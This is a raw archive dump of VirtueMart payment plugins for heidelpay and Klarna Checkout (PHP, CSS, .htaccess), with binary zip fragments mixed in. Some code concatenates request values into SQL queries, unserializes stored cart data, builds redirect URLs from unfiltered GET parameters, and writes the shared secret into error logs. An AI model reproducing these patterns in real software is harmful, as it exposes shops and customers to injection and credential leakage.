PK]y>\hJcc3vmpayment/heidelpay/heidelpay/heidelpay_default.cssnuW+Ahtml,body { background-color: #ffffff; color: #00000; } tr#notMandatoryRow, tr#addressBlock, tr#userInfoBlock, tr#contactBlock, tr#spacer1, tr#spacer2, tr#spacer3, tr#spacer4 { display: none; } .frm_box { border-style: solid; border-color: #DDD; border-width:1px; background-color: #EEEEEE; } input,select { color: #000000; background-color: #ffffff; } a:link { color:#000000; } a:visited { color:#000000; } a:hover { color:#000000; } a:active { color:#000000; } a:focus { color:#000000; } .bar{ display: none; } select#paymentMethod{ display: none; } #paymentSelection{ display: none; } td.buttonRight { width : 100%; } input#send, input#continue{font-size:12px;font-weight:700;display:inline-block;text-decoration:none;color:#777;} input#send, input#continue{background:#e8e8e8 url(http://testshops.heidelpay.de/Virtuemart/backgrounds.png) top repeat-x;background-position:0 -160px;color:#fff;border:solid #00a000 1px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;font-size:12px;cursor:pointer;text-align:center;letter-spacing:1px;display:inline-block;text-decoration:none;padding:6px 12px 3px;} input#send:hover, input#continue:hover{background-position:0 -200px;color:#f2f2f2;text-decoration:none;} input#cancel, input.btn{background:#e8e8e8 url(http://testshops.heidelpay.de/Virtuemart/backgrounds.png) top repeat-x;border:solid #CAC9C9 1px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;color:#777;text-decoration:none;padding:5px 5px 4px;} input#cancel:hover, input.btn:hover{background:#e8e8e8 url(../images/vmgeneral/backgrounds.png) repeat-x;background-position:0 -40px;color:#000;text-decoration:none;} input#cancel, input.btn{display:inline-block;cursor:pointer;padding:5px 8px 4px;} input#cancel:hover, input.btn:hover{color:#777;} PK]y>\)0vmpayment/heidelpay/heidelpay/elements/.htaccessnuW+A Order allow,deny Deny from all PK]y>\V1vmpayment/heidelpay/heidelpay/elements/index.htmlnuW+A PK]y>\C 7vmpayment/heidelpay/heidelpay/elements/getheidelpay.phpnuW+A '; $doc = JFactory::getDocument (); $doc->addScriptDeclaration ($js); $cid = jrequest::getvar ('cid', NULL, 'array'); if (is_Array ($cid)) { $virtuemart_paymentmethod_id = $cid[0]; } else { $virtuemart_paymentmethod_id = $cid; } $query = "SELECT payment_params FROM `#__virtuemart_paymentmethods` WHERE virtuemart_paymentmethod_id = '" . $virtuemart_paymentmethod_id . "'"; $db = JFactory::getDBO (); $db->setQuery ($query); $params = $db->loadResult (); $payment_params = explode ("|", $params); foreach ($payment_params as $payment_param) { if (empty($payment_param)) { continue; } $param = explode ('=', $payment_param); $payment_params[$param[0]] = substr ($param[1], 1, -1); } $id=""; if ($payment_params['HEIDELPAY_SECURITY_SENDER'] == '31HA07BC8124AD82A9E96D9A35FAFD2A' or $payment_params['HEIDELPAY_SECURITY_SENDER'] == '') { $id = "heidelpay_getheidelpay_link"; $display=''; $html = '' . JText::_ ('VMPAYMENT_HEIDELPAY_ALREADY_ACCOUNT') . ''; } else { $id = "heidelpay_getheidelpay_link"; $display=' style="display: none;"'; $html = '' . JText::_ ('VMPAYMENT_HEIDELPAY_CREATE_ACCOUNT') . ''; } $lang = $this->getLang (); $html .= '
'; $url = "http://demoshops.heidelpay.de/contactform/?campaign=vituemart&shop=vituemart&lang=" . $lang; $html .= ''; $html .= "
"; return $html; } protected function getLang () { $language =& JFactory::getLanguage (); $tag = strtolower (substr ($language->get ('tag'), 0, 2)); return $tag; } }PK]y>\://-vmpayment/heidelpay/heidelpay/tmpl/index.htmlnuW+A PK]y>\),vmpayment/heidelpay/heidelpay/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK]y>\Qʮ,,5vmpayment/heidelpay/heidelpay/tmpl/displaypayment.phpnuW+A * @package VirtueMart * @copyright Copyright (c) 2004 - 2012 VirtueMart Team. All rights reserved. * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php * VirtueMart is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. */ ?> PK]y>\߄B (vmpayment/heidelpay/heidelpay/index.htmlnuW+A PK]y>\u6''4vmpayment/heidelpay/heidelpay/heidelpay_response.phpnuW+A * @version 13.07 * @package VirtueMart * @subpackage payment * @copyright Copyright (C) Heidelberger Payment GmbH * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php */ include('../../../../configuration.php'); $config = new JConfig(); //echo $config->password ; foreach ($_POST as $key => $value) { $key = preg_replace('/_x$/', '', trim($key)); $_POST[$key] = $value; } foreach ($_GET as $key => $value) { $key = preg_replace('/_x$/', '', trim($key)); $_GET[$key] = $value; } if ( $_SERVER['SERVER_PORT'] == "443" ) { $Protocol = "https://"; } else { $Protocol = "http://"; } $PATH = preg_replace('@plugins\/vmpayment\/heidelpay\/heidelpay\/heidelpay_response\.php@','', $_SERVER['SCRIPT_NAME']); $URL = $_SERVER['HTTP_HOST'] . $PATH ; $redirectURL = $Protocol.$URL.'index.php?option=com_virtuemart&view=pluginresponse&task=pluginresponsereceived&on='.$_GET['on'].'&pm='.$_GET['pm'].'&Itemid='.$_GET['Itemid']; $cancelURL = $Protocol.$URL.'index.php?option=com_virtuemart&view=pluginresponse&task=pluginUserPaymentCancel&on='.$_GET['on'].'&pm='.$_GET['pm'].'&Itemid='.$_GET['Itemid']; function updateHeidelpay($orderID, $connect) { $comment=""; if ( preg_match('/^[A-Za-z0-9 -]+$/', $orderID , $str)) { $link = mysql_connect($connect->host, $connect->user , $connect->password); mysql_select_db($connect->db); $result = mysql_query("SELECT virtuemart_order_id FROM ".$connect->dbprefix."virtuemart_orders"." WHERE order_number = '".mysql_real_escape_string($orderID)."';"); $row = mysql_fetch_object($result); $paymentCode = explode('.' , $_POST['PAYMENT_CODE']); if ($_POST['PROCESSING_RESULT'] == "NOK") { $comment = $_POST['PROCESSING_RETURN']; } elseif ($paymentCode[0] == "PP" or $paymentCode[0] == "IV") { if (strtoupper ($_POST['CRITERION_LANG']) == 'DE') { $comment = 'Bitte überweisen Sie uns den Betrag von '.$_POST['CLEARING_CURRENCY'].' '.$_POST['PRESENTATION_AMOUNT'].' auf folgendes Konto:

Land : '.$_POST['CONNECTOR_ACCOUNT_COUNTRY'].'
Kontoinhaber : '.$_POST['CONNECTOR_ACCOUNT_HOLDER'].'
Konto-Nr. : '.$_POST['CONNECTOR_ACCOUNT_NUMBER'].'
Bankleitzahl: '.$_POST['CONNECTOR_ACCOUNT_BANK'].'
IBAN: '.$_POST['CONNECTOR_ACCOUNT_IBAN'].'
BIC: '.$_POST['CONNECTOR_ACCOUNT_BIC'].'

Geben sie bitte im Verwendungszweck UNBEDINGT die Identifikationsnummer
'.$_POST['IDENTIFICATION_SHORTID'].'
und NICHTS ANDERES an.

'; } else { $comment = 'Please transfer the amount of '.$_POST['CLEARING_CURRENCY'].' '.$_POST['PRESENTATION_AMOUNT'].' to the following account:

Country: '.$_POST['CONNECTOR_ACCOUNT_COUNTRY'].'
Account holder: '.$_POST['CONNECTOR_ACCOUNT_HOLDER'].'
Account No.: '.$_POST['CONNECTOR_ACCOUNT_NUMBER'].'
Bank Code: '.$_POST['CONNECTOR_ACCOUNT_BANK'].'
IBAN: '.$_POST['CONNECTOR_ACCOUNT_IBAN'].'
BIC: '.$_POST['CONNECTOR_ACCOUNT_BIC'].'

When you transfer the money you HAVE TO use the identification number
'.$_POST['IDENTIFICATION_SHORTID'].'
as the descriptor and nothing else. Otherwise we cannot match your transaction!

'; } if($_POST['ACCOUNT_BRAND'] == 'BARPAY') { $comment = '(-'.$_POST['CRITERION_BARPAY_PAYCODE_URL'].'-)

Drucken Sie den Barcode aus oder speichern Sie diesen auf Ihrem mobilen Endger�t. Gehen Sie nun zu einer Kasse der 18.000 Akzeptanzstellen in Deutschland und bezahlen Sie ganz einfach in bar. In dem Augenblick, wenn der Rechnungsbetrag beglichen wird, erh�lt der Online-H�ndler die Information �ber den Zahlungseingang.Die bestellte Ware oder Dienstleistung geht umgehend in den Versand '; } } if (!empty($row->virtuemart_order_id)) { $sql = "INSERT ".$connect->dbprefix."virtuemart_payment_plg_heidelpay SET " . "virtuemart_order_id = \"".mysql_real_escape_string($row->virtuemart_order_id). "\"," . "order_number = \"".mysql_real_escape_string($_GET['on']). "\"," . "virtuemart_paymentmethod_id = \"".mysql_real_escape_string($_GET['pm']). "\"," . "unique_id = \"".mysql_real_escape_string($_POST['IDENTIFICATION_UNIQUEID']). "\"," . "short_id = \"".mysql_real_escape_string($_POST['IDENTIFICATION_SHORTID']). "\"," . "payment_code = \"".mysql_real_escape_string($_POST['PROCESSING_REASON_CODE']). "\"," . "comment = \"".mysql_real_escape_string($comment). "\"," . "payment_methode = \"".mysql_real_escape_string($paymentCode[0]). "\"," . "payment_type = \"".mysql_real_escape_string($paymentCode[1]). "\"," . "transaction_mode = \"".mysql_real_escape_string($_POST['TRANSACTION_MODE']). "\"," . "payment_name = \"".mysql_real_escape_string($_POST['CRITERION_PAYMENT_NAME']). "\"," . "processing_result = \"".mysql_real_escape_string($_POST['PROCESSING_RESULT']). "\"," . "secret_hash = \"".mysql_real_escape_string($_POST['CRITERION_SECRET']). "\"," . "response_ip = \"".mysql_real_escape_string($_SERVER['REMOTE_ADDR']). "\";" ; $dbEerror = mysql_query($sql); } } } $returnvalue=$_POST['PROCESSING_RESULT']; if (!empty($returnvalue)){ if (strstr($returnvalue,"ACK")) { print $redirectURL; updateHeidelpay($_POST['IDENTIFICATION_TRANSACTIONID'], $config); } else if ($_POST['FRONTEND_REQUEST_CANCELLED'] == 'true'){ print $cancelURL ; } else { updateHeidelpay($_POST['IDENTIFICATION_TRANSACTIONID'], $config); print $redirectURL; } } else { echo 'FAIL'; } ?> PK]y>\)'vmpayment/heidelpay/heidelpay/.htaccessnuW+A Order allow,deny Deny from all PK]y>\)vmpayment/heidelpay/.htaccessnuW+A Order allow,deny Deny from all PK]y>\1/+vmpayment/klarnacheckout/klarnacheckout.xmlnuW+A Klarna Checkout January 10 2014 The VirtueMart Development Team http://www.virtuemart.net Copyright (C) 2004-2014 Virtuemart Team. All rights reserved. http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL 2.0.26d klarnacheckout.php /> PK]y>\+vmpayment/klarnacheckout/klarnacheckout.phpnuW+A_loggable = TRUE; $this->tableFields = array_keys($this->getTableSQLFields()); $this->_tablepkey = 'id'; //virtuemart_sofort_id'; $this->_tableId = 'id'; //'virtuemart_sofort_id'; $varsToPush = $this->getVarsToPush(); $this->setConfigParameterable($this->_configTableFieldName, $varsToPush); plgVmPaymentKlarnaCheckout::includeKlarnaFiles(); } /** * @return string */ public function getVmPluginCreateTableSQL () { return $this->createTableSQL('Payment KlarnaCheckout Table'); } /** * @return array */ function getTableSQLFields () { $SQLfields = array( 'id' => 'int(11) UNSIGNED NOT NULL AUTO_INCREMENT', 'virtuemart_order_id' => 'int(1) UNSIGNED', 'order_number' => 'char(64)', 'virtuemart_paymentmethod_id' => 'mediumint(1) UNSIGNED', 'payment_name' => 'varchar(1000)', 'action' => 'varchar(20)', // to_klarna, from_klarna 'klarna_status' => 'varchar(20)', // pre-purchase, purchase, pre-delivery, delivery, post-delivery 'data' => 'text', // what was sent ); return $SQLfields; } /** * This shows the plugin for choosing in the payment list of the checkout process. * * @author Valerie Cartan Isaksen */ function plgVmDisplayListFEPayment (VirtueMartCart $cart, $selected = 0, &$htmlIn) { if ($this->getPluginMethods($cart->vendorId) === 0) { if (empty($this->_name)) { $app = JFactory::getApplication(); $app->enqueueMessage(JText::_('COM_VIRTUEMART_CART_NO_' . strtoupper($this->_psType))); return false; } else { return false; } } $htmla = array(); $html = ''; VmConfig::loadJLang('com_virtuemart'); $currency = CurrencyDisplay::getInstance(); $showallform=true; foreach ($this->methods as $method) { if ($this->checkConditions($cart, $method, $cart->pricesUnformatted)) { $methodSalesPrice = $this->calculateSalesPrice($cart, $method, $cart->pricesUnformatted); if (!empty($method->payment_logos)) { $logo = ''; } $payment_cost = ''; if ($methodSalesPrice) { $payment_cost = $currency->priceDisplay($methodSalesPrice); } if ($selected == $method->virtuemart_paymentmethod_id) { $checked = 'checked="checked"'; } else { $checked = ''; } if ($cart->virtuemart_paymentmethod_id == $method->virtuemart_paymentmethod_id) { $showallform=false; } $html = $this->renderByLayout('display_payment', array( 'plugin' => $method, 'checked' => $checked, 'payment_logo' => $logo, 'payment_cost' => $payment_cost, 'showallform' => $showallform )); $htmla[] = $html; } } if ( $showallform) { $js = ' jQuery(document).ready(function( $ ) { $("#checkoutForm").show(); $(".billto-shipto").show(); $("#com-form-login").show(); }); '; $document = JFactory::getDocument(); $document->addScriptDeclaration ( $js); } if (!empty($htmla)) { $htmlIn[] = $htmla; } return true; } function getCartItems ($cart) { vmdebug('getProductItems', $cart->pricesUnformatted); //self::includeKlarnaFiles(); $i = 0; foreach ($cart->products as $pkey => $product) { $items[$i]['reference'] = !empty($product->sku) ? $product->sku : $product->virtuemart_product_id; $items[$i]['name'] = $product->product_name; $items[$i]['quantity'] = (int)$product->quantity; $price = !empty($product->prices['basePriceWithTax']) ? $product->prices['basePriceWithTax'] : $product->prices['basePriceVariant']; $itemInPaymentCurrency = vmPSPlugin::getAmountInCurrency($price,$this->method->payment_currency); $items[$i]['unit_price'] = round($itemInPaymentCurrency['value'] * 100, 0) ; //$items[$i]['discount_rate'] = $discountRate; // Bug indoc: discount is not supported //$items[$i]['discount'] = abs($cart->pricesUnformatted[$pkey]['discountAmount']*100); $tax_rate = round($this->getVatTaxProduct($cart->pricesUnformatted[$pkey]['VatTax']) ); $items[$i]['tax_rate'] = $tax_rate * 100; //$this->debugLog($unitPriceCentsInPaymentCurrency, 'getCartItems', 'debug'); //$this->debugLog($cart->pricesUnformatted[$pkey], 'getCartItems Products', 'debug'); $this->debugLog($items[$i], 'getCartItems', 'debug'); $i++; // ADD A DISCOUNT AS A NEGATIVE VALUE FOR THAT PRODUCT if ($cart->pricesUnformatted[$pkey]['discountAmount'] != 0.0) { $items[$i]['reference'] = $items[$i-1]['reference']; $items[$i]['name'] = $items[$i-1]['name']. ' ('.JText::_('VMPAYMENT_KLARNACHECKOUT_PRODUCTDISCOUNT'). ')'; $items[$i]['quantity'] =(int)$product->quantity; $discount_tax_percent=0.0; $discountInPaymentCurrency = vmPSPlugin::getAmountInCurrency(abs($cart->pricesUnformatted[$pkey]['discountAmount']),$this->method->payment_currency); $discountAmount=- abs( round($discountInPaymentCurrency['value'] * 100 , 0)); if ($cart->pricesUnformatted[$pkey]['discountAmount'] > 0.0) { $items[$i]['tax_rate'] =$items[$i-1]['tax_rate']; } else { $items[$i]['tax_rate'] =0.0; $tax_rate =0.0; } $items[$i]['unit_price'] = round($discountAmount * (1+ ($tax_rate*0.01)) , 0); $this->debugLog($items[$i], 'getCartItems', 'debug'); $i++; } } if ($cart->pricesUnformatted['salesPriceCoupon']) { $items[$i]['reference'] = 'COUPON'; $items[$i]['name'] = 'Coupon discount'; $items[$i]['quantity'] = 1; $couponInPaymentCurrency = vmPSPlugin::getAmountInCurrency($cart->pricesUnformatted['salesPriceCoupon'],$this->method->payment_currency); $items[$i]['unit_price'] = round( $couponInPaymentCurrency['value'] *100, 0); $items[$i]['tax_rate'] = 0; $this->debugLog($cart->pricesUnformatted['salesPriceCoupon'], 'getCartItems Coupon', 'debug'); $this->debugLog($items[$i], 'getCartItems', 'debug'); $i++; } if ($cart->pricesUnformatted['salesPriceShipment']) { $items[$i]['reference'] = 'SHIPPING'; $items[$i]['name'] = 'Shipping Fee'; $items[$i]['quantity'] = 1; $shipmentInPaymentCurrency = vmPSPlugin::getAmountInCurrency($cart->pricesUnformatted['salesPriceShipment'],$this->method->payment_currency); $items[$i]['unit_price'] = round( $shipmentInPaymentCurrency['value'] *100, 0); $items[$i]['tax_rate'] = $this->getTaxShipment($cart->pricesUnformatted['shipment_calc_id']); $this->debugLog($cart->pricesUnformatted['salesPriceShipment'], 'getCartItems Shipment', 'debug'); $this->debugLog($items[$i], 'getCartItems', 'debug'); } $currency = CurrencyDisplay::getInstance($cart->paymentCurrency); return $items; } function getTaxShipment ($shipment_calc_id) { // TO DO add shipmentTaxRate in the cart // assuming there is only one rule +% $db = JFactory::getDBO(); $q = 'SELECT * FROM #__virtuemart_calcs WHERE `virtuemart_calc_id`="' . $shipment_calc_id . '" '; $db->setQuery($q); $taxrule = $db->loadObject(); if ($taxrule->calc_value_mathop != "+%") { VmError('KlarnaCheckout getTaxShipment: expecting math operation to be +% but is ' . $taxrule->calc_value_mathop); } return $taxrule->calc_value * 100; } function getVatTaxProduct ($vatTax) { $countRules = count($vatTax); if ($countRules == 0) { return 0; } if ($countRules > 1) { VmError('KlarnaCheckout: More then one VATax for the product:' . $countRules); } $tax = current($vatTax); if ($tax[2] != "+%") { VmError('KlarnaCheckout: expecting math operation to be +% but is ' . $tax[2]); } return $tax[1]; } function plgVmOnCheckoutAdvertise ($cart, &$payment_advertise) { if ($this->getPluginMethods($cart->vendorId) === 0) { return FALSE; } $virtuemart_paymentmethod_id = 0; foreach ($this->methods as $method) { if ($cart->virtuemart_paymentmethod_id == $method->virtuemart_paymentmethod_id) { $virtuemart_paymentmethod_id = $method->virtuemart_paymentmethod_id; } } if ($virtuemart_paymentmethod_id == 0 or empty($cart->products)) { return; } if (!($this->method = $this->getVmPluginMethod($virtuemart_paymentmethod_id))) { return NULL; // Another method was selected, do nothing } // Check if it is the same payment_method_id as the previous one. $session = JFactory::getSession(); $klarna_paymentmethod_id_active = $session->get('klarna_paymentmethod_id_active', '', 'vm'); if ($klarna_paymentmethod_id_active != $cart->virtuemart_paymentmethod_id) { $session->clear('klarna_checkout', 'vm'); $session->clear('klarna_paymentmethod_id_active', 'vm'); } $return = $this->initKlarnaParams($this->method); if (!$return) { return; } $message = ''; $snippet = ''; $hide_BTST=true; if ($cart->virtuemart_shipmentmethod_id == 0) { $message = JText::sprintf('VMPAYMENT_KLARNACHECKOUT_SELECT_SHIPMENT_FIRST', $this->method->payment_name); } else { $session = JFactory::getSession(); $cartIdInTable = $this->storeCartInTable($cart); require_once 'klarnacheckout/library/Checkout.php'; Klarna_Checkout_Order::$baseUri = 'https://checkout.testdrive.klarna.com/checkout/orders'; Klarna_Checkout_Order::$contentType = "application/vnd.klarna.checkout.aggregated-order-v2+json"; //session_start(); $klarna_checkout = $session->get('klarna_checkout', '', 'vm'); $connector = Klarna_Checkout_Connector::create($this->sharedsecret); $klarnaOrder = null; //if (array_key_exists('klarna_checkout', $_SESSION)) { if (!empty($klarna_checkout)) { // Resume session $klarnaOrder = new Klarna_Checkout_Order($connector, $klarna_checkout); try { $klarnaOrder->fetch(); // Reset cart $update['cart']['items'] = array(); $update['cart']['items'] = $this->getCartItems($cart ); if (!empty( $cart->BT['email'])) { $update['shipping_address']['email'] = $cart->BT['email']; $hide_BTST=false; $address = (($cart->ST == 0) ? $cart->BT : $cart->ST); if (isset($address['zip']) and !empty($address['zip'])) { $update['shipping_address']['postal_code'] = $cart->BT['zip']; } } $klarnaOrder->update($update); $this->debugLog($update, 'plgVmOnCheckoutAdvertise update', 'debug'); } catch (Exception $e) { // Reset session $klarnaOrder = null; //unset($_SESSION['klarna_checkout']); $session->clear('klarna_checkout', 'vm'); $session->clear('klarna_paymentmethod_id_active', 'vm'); } } if ($klarnaOrder == null) { // Start new session $create['purchase_country'] = $this->country_code_2; $create['purchase_currency'] = $this->currency_code_3; $create['locale'] = $this->locale; $create['merchant']['id'] = $this->merchantid; $create['merchant']['terms_uri'] = $this->getTermsURI($cart->vendorId); $create['merchant']['checkout_uri'] = JURI::root(). 'index.php?option=com_virtuemart&view=cart'; $create['merchant']['confirmation_uri'] = JURI::root().'index.php?option=com_virtuemart&view=pluginresponse&task=pluginresponsereceived&t&pm=' . $virtuemart_paymentmethod_id . '&cartId=' . $cartIdInTable . '&klarna_order={checkout.order.uri}'; // You can not receive push notification on non publicly available uri $create['merchant']['push_uri'] = JURI::root().'index.php?option=com_virtuemart&view=pluginresponse&task=pluginnotification&tmpl=component&pm=' . $virtuemart_paymentmethod_id . '&cartId=' . $cartIdInTable . '&klarna_order={checkout.order.uri}'; if (!empty( $cart->BT['email'])) { $create['shipping_address']['email'] = $cart->BT['email']; $hide_BTST=false; $address = (($cart->ST == 0) ? $cart->BT : $cart->ST); if (isset($address['zip']) and !empty($address['zip'])) { $create['shipping_address']['postal_code'] = $cart->BT['zip']; } } $create['cart']['items'] = $this->getCartItems($cart, $method); try { $klarnaOrder = new Klarna_Checkout_Order($connector); $klarnaOrder->create($create); $klarnaOrder->fetch(); $this->debugLog($create, 'plgVmOnCheckoutAdvertise create', 'debug'); } catch (Exception $e) { $session->clear('klarna_checkout', 'vm'); $session->clear('klarna_paymentmethod_id_active', 'vm'); $admin_msg = $e->getMessage(); vmError($admin_msg, JText::sprintf('VMPAYMENT_KLARNACHECKOUT_ERROR_OCCURRED', $method->payment_name)); $this->debugLog($admin_msg, 'plgVmOnCheckoutAdvertise', 'error'); $this->debugLog($create, 'plgVmOnCheckoutAdvertise', 'error'); return NULL; } } // Store location of checkout session //$_SESSION['klarna_checkout'] = $sessionId = $order->getLocation(); $session->set('klarna_checkout', $klarnaOrder->getLocation(), 'vm'); $session->set('klarna_paymentmethod_id_active', $virtuemart_paymentmethod_id, 'vm'); // Display checkout $snippet = $klarnaOrder['gui']['snippet']; // DESKTOP: Width of containing block shall be at least 750px // MOBILE: Width of containing block shall be 100% of browser window (No // padding or margin) } $payment_advertise[] = $this->renderByLayout('cart_advertisement', array( 'snippet' => $snippet, 'message' => $message, 'hide_BTST' => $hide_BTST, )); } /** * cf https://docs.klarna.com/en/rest-api#supported_locales * @param $method */ function initKlarnaParams ($method) { $return = true; $db = JFactory::getDBO(); $q = 'SELECT ' . $db->getEscaped('country_2_code') . ' , ' . $db->getEscaped('country_3_code') . ' FROM `#__virtuemart_countries` WHERE virtuemart_country_id = ' . (int)$method->purchase_country; $db->setQuery($q); $country = $db->loadObject(); if (!$country) { vmError('Klarna Checkout: No country has been found with country id=' . $method->purchase_country, JText::sprintf('VMPAYMENT_KLARNACHECKOUT_ERROR_OCCURRED', $method->payment_name)); $this->debugLog('No country has been found with country id=' . $method->purchase_country, 'initKlarnaParams', 'error'); $return = false; } $this->country_code_2 = $country->country_2_code; $this->country_code_3 = $country->country_3_code; $this->getPaymentCurrency($method); $this->currency_code_3 = shopFunctions::getCurrencyByID($method->payment_currency, 'currency_code_3'); if (!$this->currency_code_3) { vmError('Klarna Checkout: No currency has been found with currency id=' . $method->payment_currency, JText::sprintf('VMPAYMENT_KLARNACHECKOUT_ERROR_OCCURRED', $method->payment_name)); $this->debugLog('No currency has been found with currency id=' . $method->payment_currency, 'initKlarnaParams', 'error'); $return = false; } $this->currency_id = $method->payment_currency; if (empty($method->sharedsecret) or empty($method->merchantid)) { vmError('Klarna Checkout: Missing mandatory values merchant id=' . $method->merchantid . ' shared secret=' . $method->sharedsecret, JText::sprintf('VMPAYMENT_KLARNACHECKOUT_ERROR_OCCURRED', $method->payment_name)); $this->debugLog('Missing mandatory values merchant id=' . $method->merchantid . ' shared secret=' . $method->sharedsecret, 'initKlarnaParams', 'error'); $return = false; } $this->locale = $method->locale; $this->sharedsecret = $method->sharedsecret; $this->merchantid = $method->merchantid; if ($method->server == 'beta') { $this->mode = Klarna::BETA; } else { $this->mode = Klarna::LIVE; } $this->ssl = KlarnaHandler::getKlarnaSSL($this->mode); return $return; } function getTermsURI ($vendorId) { return JURI::root() . 'index.php?option=com_virtuemart&view=vendor&layout=tos&virtuemart_vendor_id=' . $vendorId . '&lang='.JRequest::getCmd('lang','') ;; } /** Insert or Update the cart content in the table * will be used by the push notification to retrieve the cart and save the order * @param $cart */ function storeCartInTable ($cart, $cartId = 0, $dbValues = array()) { if (empty($dbValues)) { $dbValues['order_number'] = ''; $dbValues['payment_name'] = ''; $dbValues['virtuemart_paymentmethod_id'] = $cart->virtuemart_paymentmethod_id; $dbValues['action'] = 'storeCart'; $dbValues['klarna_status'] = 'pre-purchase'; } if (empty($cartId)) { $session = JFactory::getSession(); $cartIdInTable = $session->get('cartId', 0, 'vm'); $dbValues['data'] = serialize($cart); //$dbValues['data'] = ($cart); $preload = false; } else { $cartIdInTable = $cartId; //$dbValues['data'] = $this->getCartFromTable($cartId, true); $dbValues['data'] = serialize($cart); $preload = true; } $dbValues ['id'] = $cartIdInTable; $this->debugLog($dbValues, 'storePSPluginInternalData storeCartInTable', 'debug'); //$values = $this->storePSPluginInternalData($dbValues, $this->_tablepkey, $preload); $values = $this->storePluginInternalData($dbValues, $this->_tablepkey, 0, $preload); /* //$storedcart=unserialize($dbValues['data']); $storedcart= ($dbValues['data']); if ($storedcart !== $cart) { $this->debugLog($cart, 'storeCartInTable cart', 'error'); $this->debugLog($dbValues, 'storeCartInTable dbValues', 'error'); } */ if (empty($cartId)) { $session->set('cartId', $values ['id'], 'vm'); } return $values ['id']; } /** get the cart saved in the cart table * used by the push notification to retrieve the cart and save the order * @param $cart */ function getCartFromTable ($cartId, $serialized = false) { $db = JFactory::getDBO(); $q = 'SELECT * FROM `' . $this->_tablename . '` ' . 'WHERE `id` = ' . $cartId . ' AND `action` = "storeCart"'; $db->setQuery($q); $result = $db->loadObject(); if ($serialized) { $data = $result->data; } else { $data = unserialize($result->data); //return ($result->data); } return $data; } /** get the cart saved in the cart table * used by the push notification to retrieve the cart and save the order * @param $cart */ function clearCartFromTable () { //$session = JFactory::getSession(); //$session->clear('cartId', 'vm'); /* $db = JFactory::getDBO(); $q = 'DELETE FROM ' . $db->quoteName($this->_cartTablename) . ' WHERE `session_id`=' . $db->quote($sessionId); $db->setQuery($q); $db->query(); */ } /* * @param $method plugin * @param $where from where tis function is called */ protected function renderPluginName ($method, $where = 'checkout') { $payment_logo = ""; if (!empty($method->payment_logos)) { $payment_logo = ' '; } $payment_name = $method->payment_name; $html = $this->renderByLayout('render_pluginname', array( 'where' => $where, 'logo' => $payment_logo, 'payment_name' => $payment_name, 'payment_description' => $method->payment_desc, )); return $html; } /** * This is for checking the input data of the payment method within the checkout * * @author Valerie Cartan Isaksen */ function plgVmOnCheckoutCheckDataPayment (VirtueMartCart $cart) { if (!$this->selectedThisByMethodId($cart->virtuemart_paymentmethod_id)) { return NULL; // Another method was selected, do nothing } return true; } /** * @return bool|null */ /** * @param $html * @return bool|null|string */ function plgVmOnPaymentResponseReceived (&$html) { if (!class_exists('VirtueMartCart')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); } if (!class_exists('shopFunctionsF')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); } if (!class_exists('VirtueMartModelOrders')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'orders.php'); } require_once 'klarnacheckout/library/Checkout.php'; $virtuemart_paymentmethod_id = JRequest::getInt('pm', 0); if (!($this->method = $this->getVmPluginMethod($virtuemart_paymentmethod_id))) { return NULL; // Another method was selected, do nothing } if (!$this->selectedThisElement($this->method->payment_element)) { return NULL; } //session_start(); $session = JFactory::getSession(); Klarna_Checkout_Order::$contentType = "application/vnd.klarna.checkout.aggregated-order-v2+json"; $this->initKlarnaParams($this->method); $connector = Klarna_Checkout_Connector::create($this->sharedsecret); //$checkoutId = $_SESSION['klarna_checkout']; $checkoutId = $session->get('klarna_checkout', 0, 'vm'); if (empty($checkoutId)) { vmError('Missing klarna_checkout in session', 'Missing klarna_checkout in session', JText::sprintf('VMPAYMENT_KLARNACHECKOUT_ERROR_OCCURRED', $this->method->payment_name)); $this->debugLog('Missing klarna_checkout in session', 'plgVmOnPaymentResponseReceived', 'error'); return NULL; } $order = new Klarna_Checkout_Order($connector, $checkoutId); $order->fetch(); if ($order['status'] == 'checkout_incomplete') { $app = JFactory::getApplication(); $app->redirect(JRoute::_('index.php?option=com_virtuemart&view=cart',false), JText::_('VMPAYMENT_KLARNACHECKOUT_INCOMPLETE')); } $snippet = $order['gui']['snippet']; // DESKTOP: Width of containing block shall be at least 750px // MOBILE: Width of containing block shall be 100% of browser window (No // padding or margin) //$html .= var_export($order->_data); $html = $this->renderByLayout('response_received', array( 'snippet' => $snippet, )); //unset($_SESSION['klarna_checkout']); $session->clear('klarna_checkout', 'vm'); $session->clear('cartId', 'vm'); // let's do //We delete the old stuff // get the correct cart / session $cart = VirtueMartCart::getCart(); $cart->emptyCart(); return TRUE; } /* * plgVmOnPaymentNotification() - This event is fired by Offline Payment. It can be used to validate the payment data as entered by the user. * Return: * Parameters: * None * @author Valerie Isaksen */ /** * @return bool|null */ function plgVmOnPaymentNotification () { $virtuemart_paymentmethod_id = JRequest::getInt('pm', ''); $checkoutId = JRequest::getString('klarna_order', ''); $cartId = JRequest::getString('cartId', ''); if (empty($virtuemart_paymentmethod_id) or !$this->selectedThisByMethodId($virtuemart_paymentmethod_id) or empty($checkoutId) or empty($cartId)) { return NULL; } if (!($this->method = $this->getVmPluginMethod($virtuemart_paymentmethod_id))) { return NULL; // Another method was selected, do nothing } if (!($cartDataFromTable = $this->getCartFromTable($cartId))) { $this->debugLog('No cart with this Id=' . $cartId, 'plgVmOnPaymentNotification', 'error'); return NULL; // No cart with this Id } $this->debugLog('OK', 'plgVmOnPaymentNotification getCartFromTable', 'debug'); require_once 'klarnacheckout/library/Checkout.php'; Klarna_Checkout_Order::$contentType = "application/vnd.klarna.checkout.aggregated-order-v2+json"; $this->initKlarnaParams($this->method); $connector = Klarna_Checkout_Connector::create($this->sharedsecret); $klarna_order = new Klarna_Checkout_Order($connector, $checkoutId); $klarna_order->fetch(); if ($klarna_order['status'] != "checkout_complete") { $this->debugLog($klarna_order, 'plgVmOnPaymentNotification Klarna_Checkout_Order', 'error'); return NULL; } // At this point make sure the order is 